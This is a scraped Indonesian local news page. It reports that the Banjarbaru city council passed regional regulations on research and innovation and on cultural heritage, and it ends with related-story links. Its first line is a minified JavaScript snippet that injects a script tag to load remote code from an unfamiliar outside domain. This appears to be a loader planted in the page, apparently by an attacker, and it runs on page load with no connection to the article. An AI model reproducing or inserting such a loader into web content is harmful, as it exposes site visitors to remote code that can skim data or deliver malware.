(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna di di gedung DPRD Banjarbaru, Selasa (14/5/2024) siang.
Dua buah Raperda yaitu Raperda riset dan inovasi daerah dan Raperda cagar budaya yang disahkan oleh DPRD Kota Banjarbaru di tahun terakhir periode 2019-2024.
Raperda tentang riset dan inovasi daerah ini diselenggarakan dengan tujuan memajukan dan meningkatkan kualitas penelitian, pengembangan pengkajian, penerapan dan pembaharuan ilmu pengetahuan dan teknologi yang menghasilkan inovasi.
Baca juga: Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota
Raperda ini ditujukan kepada sejumlah SKPD di lingkup Pemerintah Kota Banjarbaru untuk mengembangkan terobosan ataupun inovasi dalam hal pelayanan publik.
Ketua DPRD Kota Banjarbaru, Fadliansyah Akbar menyebutkan agar dua Perda itu dapat betul-betul dijalankan oleh semua SKPD.
“Ini bentuk tanggung jawab kita (DPRD, red), saya harapkan bisa dijalankan oleh semua SKPD, misalkan ada terobosan ataupun inovasi yang bertujuan pelayanan publik bagi masyarakat lalu juga peningkatan kinerja SKPD agar semakin tahun semakin ada peningkatan,” ujar Ketua DPRD Kota Banjarbaru.
Baca juga: Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara
Di sisi lain, Fadli berharap Perda ini dapat berjalan dan tidak mandul, tentunya harus dibarengi dengan pengawasan.
“Karena pembuatan Perda ini kita benar-benar serius, termasuk Raperda yang akan kita bahas, makanya fokus mengevaluasi bisa dimanfaatkan oleh masyarakat,” jelas dia.
“Perda yang selesai tahun ini akan kita pantau terus, mengkritisinya sebagai fungsi pengawasan,” sambungnya.
Baca juga: Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan
Sementara itu, terkait Raperda Cagar Budaya, menjadikan Kota Banjarbaru memiliki kepastian hukum untuk mempertahankan dan memelihara keaslian cagar budaya, mempertahakan dari kerusakan dan pemusnahan baik perbuatan manusia atau peristiwa alam.
Fadliansyah menjelaskan, dari Raperda itu nantinya segala bentuk cagar budaya yang memiliki nilai-nilai peninggalan dan bersejarah dapat dilindungi dengan payung hukum yang jelas.
“Sehingga tidak terulang lagi peninggalan sejarah semisal dibongkar, nilai historis cagar budaya itu yang menjadi catatan kita, agar tidak sembarang orang dapat membongkar,” tuntas Fadliansyah. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
This website uses cookies.